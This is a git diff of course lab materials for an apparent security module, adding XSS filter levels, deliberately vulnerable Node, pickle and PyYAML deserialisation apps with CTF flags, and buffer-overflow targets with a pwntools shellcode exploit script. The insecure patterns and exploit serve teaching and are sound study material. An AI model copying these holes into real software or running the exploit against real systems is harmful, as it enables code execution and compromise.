diff --git a/README.md b/README.md index 50e4e51..fe0a6e6 100644 --- a/README.md +++ b/README.md @@ -2,19 +2,30 @@ Lab Materials for 245CT -## Subtree Stuff -(sure I did this before) +## Subtrees + + +Adding Remote ``` -$ git fetch Deserial -$ git fetch RequestTrainer -$ git fetch XSS_Trainer +git remote add -f ``` -If any are updated + +Adding Subreop +``` +git subtree add --prefix --squash ``` +Updating -$ git subtree pull --prefix Week7_XSS/Challenges XSS_Trainer main --squash ``` +git fetch +git subtree pull --prefix --squash +``` + +git subtree pull --prefix Week7_XSS/Challenges XSS_Trainer main --squash + + + diff --git a/Web_Trainer/docker-compose.yaml b/Web_Trainer/docker-compose.yaml new file mode 100644 index 0000000..445e43f --- /dev/null +++ b/Web_Trainer/docker-compose.yaml @@ -0,0 +1,25 @@ +version: '3' +services: + web: + image: 7024cem/webtrainer + ports: + - "8080:80" +# networks: +# - main_network + +# database: +# image: 7024cem/webdb +# environment: +# - MYSQL_ROOT_PASSWORD=cueh +# networks: +# - main_network +# ports: +# - 3306:3306 + +#networks: +# main_network: +# driver: bridge +# ipam: +# config: +# - subnet : 172.18.0.0/24 + diff --git a/Week5_Requests/docker-compose.yml b/Week5_Requests/docker-compose.yml index 68dc975..6802a9b 100644 --- a/Week5_Requests/docker-compose.yml +++ b/Week5_Requests/docker-compose.yml @@ -1,4 +1,4 @@ -version: "3.8" +version: "3.7" services: flask: build: . diff --git a/Week6_SQLi/Trainer/docker-compose.yaml b/Week6_SQLi/Trainer/docker-compose.yaml deleted file mode 100644 index 6910330..0000000 --- a/Week6_SQLi/Trainer/docker-compose.yaml +++ /dev/null @@ -1,25 +0,0 @@ -version: '3' -services: - web: - image: 7024cem/webtrainer - ports: - - "80:80" - networks: - - main_network - - database: - image: 7024cem/webdb - environment: - - MYSQL_ROOT_PASSWORD=cueh - networks: - - main_network - ports: - - 3306:3306 - -networks: - main_network: - driver: bridge - ipam: - config: - - subnet : 172.18.0.0/24 - diff --git a/Week6_SQLi/WebTrainer.md b/Week6_SQLi/WebTrainer.md new file mode 100644 index 0000000..03f58b9 --- /dev/null +++ b/Week6_SQLi/WebTrainer.md @@ -0,0 +1,2 @@ +The Web trainer has now moved to its own folder. +(As we are using it for several weeks) diff --git a/Week7_XSS/Challenges/README.md b/Week7_XSS/Challenges/README.md index a370968..174d737 100644 --- a/Week7_XSS/Challenges/README.md +++ b/Week7_XSS/Challenges/README.md @@ -7,11 +7,10 @@ Trainer for 245CT and XSS attacks [![Version-0.3](https://img.shields.io/badge/Version-0.3-green.svg)](https://shields.io/) + ## Contributors - Dan (Dang42) - Ben (Sharkmoos) - -[![forthebadge](https://forthebadge.com/images/badges/powered-by-electricity.svg)](https://forthebadge.com) diff --git a/Week7_XSS/Challenges/webapp/xss_trainer/levels/baseLevels.py b/Week7_XSS/Challenges/webapp/xss_trainer/levels/baseLevels.py index d2a8978..59a593a 100644 --- a/Week7_XSS/Challenges/webapp/xss_trainer/levels/baseLevels.py +++ b/Week7_XSS/Challenges/webapp/xss_trainer/levels/baseLevels.py @@ -18,7 +18,7 @@ class Training(meta.BaseLevel): Our initial Training Level """ levelname = "Tutorial" - template = "intro.html" + class NoFilter(meta.BaseLevel): """ @@ -45,6 +45,7 @@ class SimpleReplace(meta.BaseLevel): template = "SimpleReplace.html" author = "Dang42" + def sanitise(self, data): payload = data.replace("", "") @@ -59,6 +60,7 @@ class BasicRegexp(meta.BaseLevel): template = "BasicRegexp.html" author = "Dang42" + def sanitise(self, data): regexp = re.compile("<\/?script>", re.IGNORECASE) payload = regexp.sub("", data) @@ -92,12 +94,12 @@ class ScriptTagFilter(meta.BaseLevel): template = "ScriptTagFilter.html" author = "Dang42" + def sanitise(self, data): regexp = re.compile("script", re.IGNORECASE) if regexp.search(data): return "
XSS Detected!
" - return data class MarkdownOutput(meta.BaseLevel): @@ -125,14 +127,13 @@ class TagAttributes(meta.BaseLevel): template = "TagAttributes.html" author = "Dang42" + def sanitise(self, data): attributes = flask.request.form.get("attributes", "") clean = html.escape(data, quote=True) payload = f"
{clean}
" return payload - - class BootstrapTags(meta.BaseLevel): """ XSS through bootstrap CSS animations @@ -142,6 +143,7 @@ class BootstrapTags(meta.BaseLevel): template = "BootstrapTags.html" author = "Dang42" + def sanitise(self, data): alertLevel = flask.request.args.get("style", "primary") clean = html.escape(data) diff --git a/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/BasicRegexp.html b/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/BasicRegexp.html index 3255402..b424763 100644 --- a/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/BasicRegexp.html +++ b/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/BasicRegexp.html @@ -2,6 +2,7 @@ {% block content %} + {% markdown %} The developer knows that ```script``` tags are bad, so removes them from the output. diff --git a/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/ClientSide.html b/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/ClientSide.html index a9295f7..986b65a 100644 --- a/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/ClientSide.html +++ b/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/ClientSide.html @@ -2,6 +2,7 @@ {% block content %} + {% markdown %} This time we have to deal with some client side filtering. diff --git a/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/MarkdownOutput.html b/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/MarkdownOutput.html index 50a9c4f..6342b53 100644 --- a/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/MarkdownOutput.html +++ b/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/MarkdownOutput.html @@ -2,6 +2,7 @@ {% block content %} + {% markdown %} This time we are going to use a decent filter on the input. diff --git a/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/TagAttributes.html b/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/TagAttributes.html index 7ada934..ea6e98c 100644 --- a/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/TagAttributes.html +++ b/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/TagAttributes.html @@ -2,6 +2,7 @@ {% block content %} + {% markdown %} This example creates a new tag on the page. diff --git a/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/noFilter.html b/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/noFilter.html index 32eca33..ae792be 100644 --- a/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/noFilter.html +++ b/Week7_XSS/Challenges/webapp/xss_trainer/templates/levels/noFilter.html @@ -2,6 +2,7 @@ {% block content %} + {% markdown %} This should be nice and easy. diff --git a/Week7_XSS/Challenges/webapp/xss_trainer/test/test_flask.py b/Week7_XSS/Challenges/webapp/xss_trainer/test/test_flask.py index 5b0b851..2ad36b0 100644 --- a/Week7_XSS/Challenges/webapp/xss_trainer/test/test_flask.py +++ b/Week7_XSS/Challenges/webapp/xss_trainer/test/test_flask.py @@ -53,8 +53,6 @@ class PageTests(unittest.TestCase): thePage = self.client.get(flask.url_for("levels", levelId=1)) self.assertIn(b"Dang42", thePage.data) - - def test_urlfor(self): thePage = self.client.get(flask.url_for("main")) @@ -76,7 +74,7 @@ class PageTests(unittest.TestCase): with app.test_client() as client: thePage = client.get("/") self.assertEqual(flask.session["level"] , 0) - + def test_level(self): """ Can we get a single level @@ -110,6 +108,7 @@ class PageTests(unittest.TestCase): This is the Client Side test so it should stick out """ + #Manually set the level cookie with self.client.session_transaction() as sess: sess["level"] = 2 diff --git a/Week7_XSS/Challenges/webapp/xss_trainer/test/test_web.py b/Week7_XSS/Challenges/webapp/xss_trainer/test/test_web.py index 610a80c..937d6af 100644 --- a/Week7_XSS/Challenges/webapp/xss_trainer/test/test_web.py +++ b/Week7_XSS/Challenges/webapp/xss_trainer/test/test_web.py @@ -1,7 +1,6 @@ """ Integration testing for the web app - TODO: Test for Session Jacking TODO: Test for Render Function @@ -12,6 +11,7 @@ import requests import xss_trainer.views as views + BASEURL = "http://127.0.0.1:5000" LEVEL_URL = "http://127.0.0.1:5000/level/" @@ -141,5 +141,3 @@ class IntergrationTests(unittest.TestCase): print ("Item found at index {0}".format(idx)) break - - diff --git a/Week7_XSS/Challenges/webapp/xss_trainer/views.py b/Week7_XSS/Challenges/webapp/xss_trainer/views.py index 2c86af8..003056a 100644 --- a/Week7_XSS/Challenges/webapp/xss_trainer/views.py +++ b/Week7_XSS/Challenges/webapp/xss_trainer/views.py @@ -127,7 +127,8 @@ def levels(levelId=0): app.logger.debug("FILTERED %s",filtered) #Check for XSS - result = _checkPayload(filtered, levelId) + + result = _checkPayload(filtered) #Generic Success Message if result: @@ -146,6 +147,7 @@ def levels(levelId=0): else: message = "You didn't trigger an alert, try again" + if hasattr(thisLevel, "cookie"): cookieKey, cookieValue = thisLevel.cookie testCookie = flask.request.cookies.get(cookieKey) @@ -156,6 +158,7 @@ def levels(levelId=0): flask.session['level'] = userLevel+1 + #Work out the template theTemplate = "levels/{0}".format(thisLevel.template) return flask.render_template(theTemplate, @@ -178,11 +181,9 @@ def _checkPayload(payload, level): """ userIP = flask.request.remote_addr + redis_client.set("{0}_P".format(userIP),payload) redis_client.set("{0}_L".format(userIP), level) - #redis_client.set(userIP, {"payload": payload, - # "level": level}) - qString = urllib.parse.urlencode({"ip": userIP}) theURL = "http://flask:5000/render?{0}".format(qString) result = driver.checkPage(theURL) @@ -200,6 +201,7 @@ def render(): """ #Get the payload theIp= flask.request.args.get("ip",None) + app.logger.debug("Render For %s", theIp) #Fetch the payload from Redis try: @@ -207,11 +209,13 @@ def render(): theLevel = redis_client.get("{0}_L".format(theIp)) app.logger.debug("Render Payload: %s", thePayload) app.logger.debug("Render Level: %s", theLevel) + except NameError: app.logger.warning("Attempt to get non existant IP") thePayload = None + # Now we can so things with cookies or other page things thisLevel = LEVELS[int(theLevel)] app.logger.warning("This Level is {0}".format(thisLevel)) @@ -234,3 +238,4 @@ def render(): response.set_cookie(key, value) return response + diff --git a/Week8_Includes/Deserial/.gitignore b/Week8_Includes/Deserial/.gitignore new file mode 100644 index 0000000..9b5e2e8 --- /dev/null +++ b/Week8_Includes/Deserial/.gitignore @@ -0,0 +1,2 @@ +*~ +__pycache__ diff --git a/Week8_Includes/Deserial/NodeChallenge/docker-compose.yaml b/Week8_Includes/Deserial/NodeChallenge/docker-compose.yaml new file mode 100644 index 0000000..5ec25e2 --- /dev/null +++ b/Week8_Includes/Deserial/NodeChallenge/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.7" +services: + node: + build: + context: webapp + ports: + - "5000:3000" + expose: + - 5000 diff --git a/Week8_Includes/Deserial/NodeChallenge/webapp/Dockerfile b/Week8_Includes/Deserial/NodeChallenge/webapp/Dockerfile new file mode 100644 index 0000000..c7bcd50 --- /dev/null +++ b/Week8_Includes/Deserial/NodeChallenge/webapp/Dockerfile @@ -0,0 +1,16 @@ +FROM node:buster-slim + +WORKDIR /opt/app + +#Requirements +ADD package.json /opt/app +ADD server.js /opt/app + +RUN npm install + +EXPOSE 3000 + +RUN apt-get update && apt-get install -y ncat +ADD serverflag.txt / + +CMD ["node", "server.js"] \ No newline at end of file diff --git a/Week8_Includes/Deserial/NodeChallenge/webapp/package.json b/Week8_Includes/Deserial/NodeChallenge/webapp/package.json new file mode 100644 index 0000000..2ef2d6e --- /dev/null +++ b/Week8_Includes/Deserial/NodeChallenge/webapp/package.json @@ -0,0 +1,16 @@ +{ + "name": "Vulnerable_Deserialisation_App", + "version": "1.0.0", + "description": "Node.js on Docker", + "author": "First Last ", + "main": "server.js", + "scripts": { + "start": "node server.js" + }, + "dependencies": { + "express": "^4.16.1", + "cookie-parser": "latest", + "escape-html": "latest", + "node-serialize": "latest" + } +} diff --git a/Week8_Includes/Deserial/NodeChallenge/webapp/server.js b/Week8_Includes/Deserial/NodeChallenge/webapp/server.js new file mode 100644 index 0000000..88d0dcb --- /dev/null +++ b/Week8_Includes/Deserial/NodeChallenge/webapp/server.js @@ -0,0 +1,25 @@ +var express = require('express'); +var cookieParser = require('cookie-parser'); +var escape = require('escape-html'); +var serialize = require('node-serialize'); +var app = express(); +app.use(cookieParser()) + +app.get('/', function(req, res) { + if (req.cookies.profile) { + var str = new Buffer(req.cookies.profile, 'base64').toString(); + var obj = serialize.unserialize(str); + if (obj.username) { + res.send("Hello " + escape(obj.username)); + } + } else { + res.cookie('profile', "eyJ1c2VybmFtZSI6IkFkaXR5YSIsImNvdW50cnkiOiJpbmRpYSIsImNpdHkiOiJEZWxoaSJ9", { + maxAge: 900000, + httpOnly: true + }); + } + res.send("Hello World"); +}); +app.listen(3000); +console.log("Listening on port 3000..."); + diff --git a/Week8_Includes/Deserial/NodeChallenge/webapp/serverflag.txt b/Week8_Includes/Deserial/NodeChallenge/webapp/serverflag.txt new file mode 100644 index 0000000..3088637 --- /dev/null +++ b/Week8_Includes/Deserial/NodeChallenge/webapp/serverflag.txt @@ -0,0 +1 @@ +245{NodeRCEExample} diff --git a/Week8_Includes/Deserial/PickleDemo/docker-compose.yaml b/Week8_Includes/Deserial/PickleDemo/docker-compose.yaml new file mode 100644 index 0000000..ccea637 --- /dev/null +++ b/Week8_Includes/Deserial/PickleDemo/docker-compose.yaml @@ -0,0 +1,12 @@ +version: "3.7" +services: + flask: + build: + context: webapp + ports: + - "5000:5000" + expose: + - 5000 + environment: + - FLASK_ENV=development + - FLASK_APP=/opt/webapp/app.py diff --git a/Week8_Includes/Deserial/PickleDemo/webapp/Dockerfile b/Week8_Includes/Deserial/PickleDemo/webapp/Dockerfile new file mode 100644 index 0000000..f25bd47 --- /dev/null +++ b/Week8_Includes/Deserial/PickleDemo/webapp/Dockerfile @@ -0,0 +1,21 @@ +FROM cueh/flask + +USER root +#Netcat for the Shell +RUN apt-get update && apt-get install -y ncat + +WORKDIR /opt + +#Copy Files +ADD REQUIREMENTS.txt /opt + +#Install Requirements +RUN pip install -r REQUIREMENTS.txt + +ADD serverflag.txt / + +ADD app.py /opt/webapp/ +ADD templates/* /opt/webapp/templates/ + +CMD ["flask", "run", "--host=0.0.0.0"] + diff --git a/Week8_Includes/Deserial/PickleDemo/webapp/REQUIREMENTS.txt b/Week8_Includes/Deserial/PickleDemo/webapp/REQUIREMENTS.txt new file mode 100644 index 0000000..0b85942 --- /dev/null +++ b/Week8_Includes/Deserial/PickleDemo/webapp/REQUIREMENTS.txt @@ -0,0 +1,3 @@ +pyyaml +flask + diff --git a/Week8_Includes/Deserial/PickleDemo/webapp/app.py b/Week8_Includes/Deserial/PickleDemo/webapp/app.py new file mode 100644 index 0000000..ef22315 --- /dev/null +++ b/Week8_Includes/Deserial/PickleDemo/webapp/app.py @@ -0,0 +1,91 @@ +""" +Flask Based Rework of our app + +So much easier with a web interface +""" +import flask +from flask import request +import pickle + +class ShoppingItem: + def __init__(self, name, cost, number = 1): + self.name = name + self.cost = cost + self.number = number + +class ShoppingList: + def __init__(self): + self.shoppingList = [] + + def addItem(self, item): + self.shoppingList.append(item) + + def calcCost(self): + totalCost = 0 + for item in self.shoppingList: + totalCost += item.cost * item.number + + return totalCost + + +def createList(): + """Helper Function to create a list""" + theList = ShoppingList() + + item = ShoppingItem("foo widget", 100) + theList.addItem(item) + item = ShoppingItem("bar widget", 10, 5) + theList.addItem(item) + return theList + + +# ------------ AND THE APP ITSELF ----------- +app = flask.Flask(__name__) +app.theList = createList() + +@app.route('/') +def main(): + return flask.render_template('index.html', theList = app.theList) + +@app.route("/save") +def save(): + #We can save the basket to a file + with open("/opt/webapp/backup.pkl","wb") as fd: + out = pickle.dump(app.theList, fd) + #fd.write(out) + + return flask.send_file('backup.pkl', + mimetype='application/octet-stream', + attachment_filename='backup.pkl', + as_attachment=True) + + +@app.route("/load", methods=["GET","POST"]) +def load(): + message = None + if request.method == "POST": + print (request.files) + if 'uploadFile' in request.files: + + theFile = request.files['uploadFile'] + try: + data = pickle.load(theFile)#, Loader=yaml.Loader) + app.theList = data + message = "Upload Successful" + except Exception as ex: + message = "Error Loading List {0}".format(ex) + + + else: + message = "You must select a file to upload" + + + return flask.render_template('load.html', message=message) + +@app.route("/pay") +def pay(): + + totalCost = app.theList.calcCost() + + return flask.render_template("pay.html", cost=totalCost) + diff --git a/Week8_Includes/Deserial/PickleDemo/webapp/serverflag.txt b/Week8_Includes/Deserial/PickleDemo/webapp/serverflag.txt new file mode 100644 index 0000000..891e7f9 --- /dev/null +++ b/Week8_Includes/Deserial/PickleDemo/webapp/serverflag.txt @@ -0,0 +1 @@ +CUEH{"R0tten_P1ckLes"} diff --git a/Week8_Includes/Deserial/PickleDemo/webapp/templates/index.html b/Week8_Includes/Deserial/PickleDemo/webapp/templates/index.html new file mode 100644 index 0000000..9e2d9cf --- /dev/null +++ b/Week8_Includes/Deserial/PickleDemo/webapp/templates/index.html @@ -0,0 +1,59 @@ + + + + + + + The Dodgy Shopper + + + + + +
+

Dodgy PICKLE Shopper v2

+ +

Buy Widgets and Stuff

+ +

Shopping Basket

+ + + + + + + + + + + + {% for item in theList.shoppingList %} + + + + + + + {% endfor %} + + + + + + + +
ItemCostQuantityTotal Cost
{{item.name}}£{{item.cost}}{{item.number}}£{{ item.cost * item.number}}
TOTAL£{{theList.calcCost()}}
+ + + + Pay +
+ + diff --git a/Week8_Includes/Deserial/PickleDemo/webapp/templates/load.html b/Week8_Includes/Deserial/PickleDemo/webapp/templates/load.html new file mode 100644 index 0000000..525ba2d --- /dev/null +++ b/Week8_Includes/Deserial/PickleDemo/webapp/templates/load.html @@ -0,0 +1,38 @@ + + + + + + + The Dodgy Shopper + + + + + +
+ +

Dodgy PICKLE Shopper

+

Back to Home

+
+

Buy Widgets and Stuff

+ +

Load Saved Basket

+ +
+
+ + +
+ +
+ + {% if message %} +
{{message}}
+ {% endif %} +
+ + + + + diff --git a/Week8_Includes/Deserial/PickleDemo/webapp/templates/pay.html b/Week8_Includes/Deserial/PickleDemo/webapp/templates/pay.html new file mode 100644 index 0000000..d9f4386 --- /dev/null +++ b/Week8_Includes/Deserial/PickleDemo/webapp/templates/pay.html @@ -0,0 +1,44 @@ + + + + + + + The Dodgy Shopper + + + + + + +
+ +

Dodgy PICKLE Shopper

+

Back to Home

+
+ +

Buy Widgets and Stuff

+ +

PAY FOR STUFF

+ + {% if cost > 0 %} +

You Owe £{{ cost }}

+
+
+ + + +
+ +
+ + {% else %} +
You Win, Have a flag CUEH{M@nual_P1kl_Mods}
+ {% endif %} + +
+ + + + + diff --git a/Week8_Includes/Deserial/README.md b/Week8_Includes/Deserial/README.md new file mode 100644 index 0000000..abdb9cd --- /dev/null +++ b/Week8_Includes/Deserial/README.md @@ -0,0 +1,26 @@ +# Deserialisation Trainers + +Various Training / Demos for Insecure Deserialisation + +## YAML Demo + +This service is vulnerable to insecure deserialisation through PyYaml +and will let you try out the example given in the course materials. + +### Starting Stopping the service + +Start + +``` +$ cd YamlDemo +$ docker-compose up +``` + +Stop + +``` +$ cd YamlDemo +$ docker-compose down +``` + + diff --git a/Week8_Includes/Deserial/YamlDemo/docker-compose.yaml b/Week8_Includes/Deserial/YamlDemo/docker-compose.yaml new file mode 100644 index 0000000..ccea637 --- /dev/null +++ b/Week8_Includes/Deserial/YamlDemo/docker-compose.yaml @@ -0,0 +1,12 @@ +version: "3.7" +services: + flask: + build: + context: webapp + ports: + - "5000:5000" + expose: + - 5000 + environment: + - FLASK_ENV=development + - FLASK_APP=/opt/webapp/app.py diff --git a/Week8_Includes/Deserial/YamlDemo/webapp/Dockerfile b/Week8_Includes/Deserial/YamlDemo/webapp/Dockerfile new file mode 100644 index 0000000..f5a6357 --- /dev/null +++ b/Week8_Includes/Deserial/YamlDemo/webapp/Dockerfile @@ -0,0 +1,20 @@ +FROM cueh/flask + +USER root +#Netcat for the Shell +RUN apt-get update && apt-get install -y ncat + +WORKDIR /opt + +#Copy Files +ADD REQUIREMENTS.txt /opt + +#Install Requirements +RUN pip install -r REQUIREMENTS.txt + +ADD serverflag.txt / + +ADD app.py /opt/webapp/ +ADD templates/* /opt/webapp/templates/ + +CMD ["flask", "run", "--host=0.0.0.0"] diff --git a/Week8_Includes/Deserial/YamlDemo/webapp/REQUIREMENTS.txt b/Week8_Includes/Deserial/YamlDemo/webapp/REQUIREMENTS.txt new file mode 100644 index 0000000..cf7cb50 --- /dev/null +++ b/Week8_Includes/Deserial/YamlDemo/webapp/REQUIREMENTS.txt @@ -0,0 +1,3 @@ +pyyaml + + diff --git a/Week8_Includes/Deserial/YamlDemo/webapp/app.py b/Week8_Includes/Deserial/YamlDemo/webapp/app.py new file mode 100644 index 0000000..58c0e5e --- /dev/null +++ b/Week8_Includes/Deserial/YamlDemo/webapp/app.py @@ -0,0 +1,91 @@ +""" +Flask Based Rework of our app + +So much easier with a web interface +""" +import flask +import yaml +from flask import request + +class ShoppingItem: + def __init__(self, name, cost, number = 1): + self.name = name + self.cost = cost + self.number = number + +class ShoppingList: + def __init__(self): + self.shoppingList = [] + + def addItem(self, item): + self.shoppingList.append(item) + + def calcCost(self): + totalCost = 0 + for item in self.shoppingList: + totalCost += item.cost * item.number + + return totalCost + + +def createList(): + """Helper Function to create a list""" + theList = ShoppingList() + + item = ShoppingItem("foo widget", 100) + theList.addItem(item) + item = ShoppingItem("bar widget", 10, 5) + theList.addItem(item) + return theList + + +# ------------ AND THE APP ITSELF ----------- +app = flask.Flask(__name__) +app.theList = createList() + +@app.route('/') +def main(): + return flask.render_template('index.html', theList = app.theList) + +@app.route("/save") +def save(): + #We can save the basket to a file + with open("/opt/webapp/backup.yaml","w") as fd: + out = yaml.dump(app.theList) + fd.write(out) + + return flask.send_file('backup.yaml', + mimetype='text/yaml', + attachment_filename='backup.yaml', + as_attachment=True) + + +@app.route("/load", methods=["GET","POST"]) +def load(): + message = None + if request.method == "POST": + print (request.files) + if 'uploadFile' in request.files: + + theFile = request.files['uploadFile'] + try: + data = yaml.load(theFile, Loader=yaml.Loader) + app.theList = data + message = "Upload Successful" + except Exception as ex: + message = "Error Loading List {0}".format(ex) + + + else: + message = "You must select a file to upload" + + + return flask.render_template('load.html', message=message) + +@app.route("/pay") +def pay(): + + totalCost = app.theList.calcCost() + + return flask.render_template("pay.html", cost=totalCost) + diff --git a/Week8_Includes/Deserial/YamlDemo/webapp/serverflag.txt b/Week8_Includes/Deserial/YamlDemo/webapp/serverflag.txt new file mode 100644 index 0000000..cc4bf4d --- /dev/null +++ b/Week8_Includes/Deserial/YamlDemo/webapp/serverflag.txt @@ -0,0 +1 @@ +CUEH{Yam1_B4sed_Sh3lls} diff --git a/Week8_Includes/Deserial/YamlDemo/webapp/templates/index.html b/Week8_Includes/Deserial/YamlDemo/webapp/templates/index.html new file mode 100644 index 0000000..9b25b9a --- /dev/null +++ b/Week8_Includes/Deserial/YamlDemo/webapp/templates/index.html @@ -0,0 +1,59 @@ + + + + + + + The Dodgy Shopper + + + + + +
+

Dodgy YAML Shopper

+ +

Buy Widgets and Stuff

+ +

Shopping Basket

+ + + + + + + + + + + + {% for item in theList.shoppingList %} + + + + + + + {% endfor %} + + + + + + + +
ItemCostQuantityTotal Cost
{{item.name}}£{{item.cost}}{{item.number}}£{{ item.cost * item.number}}
TOTAL£{{theList.calcCost()}}
+ + + + Pay +
+ + diff --git a/Week8_Includes/Deserial/YamlDemo/webapp/templates/load.html b/Week8_Includes/Deserial/YamlDemo/webapp/templates/load.html new file mode 100644 index 0000000..fb3f8d6 --- /dev/null +++ b/Week8_Includes/Deserial/YamlDemo/webapp/templates/load.html @@ -0,0 +1,38 @@ + + + + + + + The Dodgy Shopper + + + + + +
+ +

Dodgy YAML Shopper

+

Back to Home

+
+

Buy Widgets and Stuff

+ +

Load Saved Basket

+ +
+
+ + +
+ +
+ + {% if message %} +
{{message}}
+ {% endif %} +
+ + + + + diff --git a/Week8_Includes/Deserial/YamlDemo/webapp/templates/pay.html b/Week8_Includes/Deserial/YamlDemo/webapp/templates/pay.html new file mode 100644 index 0000000..7e33afc --- /dev/null +++ b/Week8_Includes/Deserial/YamlDemo/webapp/templates/pay.html @@ -0,0 +1,44 @@ + + + + + + + The Dodgy Shopper + + + + + + +
+ +

Dodgy YAML Shopper

+

Back to Home

+
+ +

Buy Widgets and Stuff

+ +

PAY FOR STUFF

+ + {% if cost > 0 %} +

You Owe £{{ cost }}

+
+
+ + + +
+ +
+ + {% else %} +
You Win, Have a flag CUEH{YAML_1s_Fun}
+ {% endif %} + +
+ + + + + diff --git a/Week9_Overflows/Classic_Overflows/classic.c b/Week9_Overflows/Classic_Overflows/classic.c new file mode 100644 index 0000000..7653ce9 --- /dev/null +++ b/Week9_Overflows/Classic_Overflows/classic.c @@ -0,0 +1,24 @@ +#include +#include +#include + +int BUFFER=200; + +int copy(char* input){ + char buffer[BUFFER]; + strcpy(buffer, input); + +} + +int main(int argc, char* argv[]){ + /* Main Function*/ + char buf[400]; + printf("Smash The Stack\n"); + //Get the data + int r; + r = read(0, buf, 400); //Save Version + + int out = copy(buf); + printf("Lose :(\n"); + return 0; +} diff --git a/Week9_Overflows/Classic_Overflows/genPayload.py b/Week9_Overflows/Classic_Overflows/genPayload.py new file mode 100644 index 0000000..be87943 --- /dev/null +++ b/Week9_Overflows/Classic_Overflows/genPayload.py @@ -0,0 +1,61 @@ +from pwn import * + +#Update the Context with the Architecture and OS +context.update(arch="i386", os="linux") + +#Create a Process Object to talk to. This should be our Target Binary +p = process("./classic") + +# Do an initial read to get the welcome message +data = p.read() +print(data) #For Debugging + +raw_input("Attach GDB and press enter") #More debugging + + +# And add our Shellcode + +#shellcode ="".join(["\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46", +# "\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68", +# "\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"]) + +#shellcode = "".join(["\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70", +# "\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61", +# "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52", +# "\x51\x53\x89\xe1\xcd\x80"]) +shellcode = asm(shellcraft.sh()) +print(shellcraft.sh()) + + +# Offset to EIP (You need to calculate this) +OFFSET = 236 + +#Address we want to jump to (You need to supply this) +#Pwntools will automatically convert to the correct endianness +#TARGET_ADDRESS = p32(0xffffd080) +TARGET_ADDRESS = p32(0x0804901d) +#TARGET_ADDRESS = "BBBB" + + +#Now we will build our payload + +PADD = 150 +payloadLen = OFFSET - len(shellcode) #How many 'A's to Pad with +payloadLen = payloadLen - PADD #I like a bit of space below the shellcode too + +payload = "\x90"*payloadLen +payload += shellcode #Add Shellcode +payload += "\x90"*PADD#30 #More Nops +payload += TARGET_ADDRESS #Address to Jump to + +print("PAYLOAD {0} \n{1}".format(payload, len(payload))) +p.writeline(payload) #Write it to the Binary +p.interactive() #Go into interactive mode. + +#34 is OK, > 34 Crashses + + + +#Compile With +#gcc -m32 -fno-stack-protector -z execstack -no-pie classic.c -o classic + diff --git a/Week9_Overflows/Intro/Makefile b/Week9_Overflows/Intro/Makefile new file mode 100644 index 0000000..f86f689 --- /dev/null +++ b/Week9_Overflows/Intro/Makefile @@ -0,0 +1,13 @@ +# Build the first overflow target + +CC = gcc +CFLAGS = -m32 -g -z execstack + + +firstOverflow: firstOverflow.c + + $(CC) $(CFLAGS) firstOverflow.c -o firstOverflow + + +all: firstOverflow + diff --git a/Week9_Overflows/Intro/firstOverflow.c b/Week9_Overflows/Intro/firstOverflow.c new file mode 100644 index 0000000..7b49c59 --- /dev/null +++ b/Week9_Overflows/Intro/firstOverflow.c @@ -0,0 +1,43 @@ +#include +#include +#include +#include + +int BUFFER=150; + +void win(void){ + /*Win Condition + We Want to jump here + */ + printf("\n ===== Win ===== \n\n"); + system("/bin/sh"); //Tradition to get a shell +} + +void lose(void){ + /* Lose Condition */ + printf("Current Memory Address is %p\n",lose); + printf("Aim for %p\n", win); + printf("Lose :(\n"); +} + +int main(int argc, char* argv[]){ + /* Main Function*/ + + //Pointer to the lose function + void (*fp)(void) = lose; + + char buffer[BUFFER]; + printf("Overflow the Buffer\n"); + + if (argc != 2){ + printf("Overflow the buffer\n"); + printf("Hint! Try `python -c \"print 'A'*100\"`\n"); + return -1; + } + + memcpy(buffer, argv[1], strlen(argv[1])); + printf("Off to %p\n",fp); + fp(); + + return 0; +} diff --git a/Week9_Overflows/Intro/stackFrames.c b/Week9_Overflows/Intro/stackFrames.c new file mode 100644 index 0000000..2dfb5cf --- /dev/null +++ b/Week9_Overflows/Intro/stackFrames.c @@ -0,0 +1,11 @@ +int add(int var1, int var2){ + //Add two numbers + int total; + total = var1+var2; + return total; +} + +void main(int argv, char* argc){ + //Function call + int total = add(10, 20); +} diff --git a/Week9_Overflows/Intro/strOverflow.c b/Week9_Overflows/Intro/strOverflow.c new file mode 100644 index 0000000..7babffa --- /dev/null +++ b/Week9_Overflows/Intro/strOverflow.c @@ -0,0 +1,9 @@ +#include +#include + +void main(void){ + char theString[15]; + //Copy a String that is longer than the space allocated + strcpy(theString, "Hello World, This Is A Long String"); + printf("%s", theString); +}